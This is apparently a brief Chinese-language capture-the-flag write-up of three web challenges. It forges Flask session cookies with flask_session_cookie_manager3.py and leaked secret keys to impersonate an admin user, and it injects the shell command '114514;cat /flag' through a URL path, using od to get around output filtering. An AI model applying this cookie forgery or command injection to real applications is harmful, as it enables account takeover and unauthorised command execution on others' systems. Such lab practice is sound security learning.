1.flask?jwt?
在忘记密码下面有提示secretkey,那么就可以jwt伪造
自己注册个账号然后登录
点击拿flag提示你不是admin,并且cookie里面有个session,用工具解密一下
python flask_session_cookie_manager3.py decode -s 'th3f1askisfunny' -c '.eJwlzjsOAyEMANG7UKcA2xi8l1mBP0paNltFuXuQ0r-R5pPOWH490_Fetz_S-bJ0JIXIZgYS0zS0VRyMbUbhKVwFKVhhcPUJ1kOjBioORTIZyKOI1UbkgzYR7L3l1oDYijBOIGeMgsUkByHYFq6eS-UutFvwtEfuy9f_BtL3BxRVLzE.ZeXYGA.PCLZkIezGFKXh55D8kvbdbiwmX0'
里面有个_user_id为2,那么猜测admin为1
修改成1再用工具伪造
python flask_session_cookie_manager3.py encode -s 'th3f1askisfunny' -t "{'_fresh': True, '_id': 'c2f0ddd29fbdcfc753a637bf16b965934f6c2a65eb2d8fcf5f3c3ac34d9a36a19d5744ea465e93887077246d1963b24e63f131d90f432d938ece015689419d2e', '_user_id': '1'}"
直接拿到flag
2.ez_factors
点击tool跳转到/114514
2*31*1847正好是114514,说明114514被进行了因数分解,那么url中的114514就可能命令执行
改成114514;cat /flag有数字生成,说明只能生成数字没有字母
od命令可以将数据以八进制数字输出
-b参数是以8进制输出
3.flask?jwt?(hard)
这次源码里面没了secretkey
先解析一下jwt看看是什么
比上次多加了时间
在源码里看到了一些东西
去/wor看一下
有时间,把这个路由下面的session随便改一下然后报错了。。。并且里面有key
hardgam3_C0u1d_u_f1ndM3????
伪造一下
为了不报错,我把时间那块删除了
python flask_session_cookie_manager3.py encode -s "hardgam3_C0u1d_u_f1ndM3????" -t "{'_fresh':True,'_id':'c2f0ddd29fbdcfc753a637bf16b965934f6c2a65eb2d8fcf5f3c3ac34d9a36a19d5744ea465e93887077246d1963b24e63f131d90f432d938ece015689419d2e','_user_id':'1'}"
.eJwlzjsOAyEMANG7UKcA2xi8l1mBP0paNltFuXuQ0r-R5pPOWH490_Fetz_S-bJ0JIXIZgYS0zS0VRyMbUbhKVwFKVhhcPUJ1kOjBioORTIZyKOI1UbkgzYR7L3l1oDYijBOIGeMgsUkByHYFq6eS-UutFvwtEfuy9f_pqTvDxRSLzA.ZeXkbQ.dk4CXwGdna3N9weB2RgSXMBm8gw
还有两题明天再做......